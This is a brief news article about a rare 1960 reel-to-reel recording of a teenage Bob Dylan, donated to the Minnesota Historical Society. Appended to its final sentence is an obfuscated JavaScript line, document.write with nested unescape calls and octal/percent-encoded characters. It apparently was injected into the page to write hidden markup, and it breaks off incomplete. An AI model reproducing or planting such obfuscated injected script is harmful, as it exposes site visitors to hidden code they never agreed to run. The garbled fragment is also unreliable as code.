Overview
A murky, low quality tape has Minnesota historians all excited.
It's because it's a rare recording of 19-year-old Bob Dylan. Cleve Petterson, the man who recorded the tape in 1960, says if you don't know it's Dylan, it sounds like someone pretending to be Dylan and not doing a good job. Petterson was about 15 when he got a reel-to-reel recorder and asked Dylan, who was then playing coffeehouses, if he could record him.
Petterson says Dylan and his friends drank a bottle of wine, got happy and played for about an hour or so. Petterson says he got the tape by blind luck, so it's not really important for him to make money off it. He donated it to the Minnesota Historical Society, where fans can listen to a copy of it for free.document.write(unescape('\04564%6F%63um\145%6Et.%77r%69t\145\04528u%6E\04565s\04563ap\04565\04528\047\045253C%21%5C0\0645\062D%252D\047)\051;
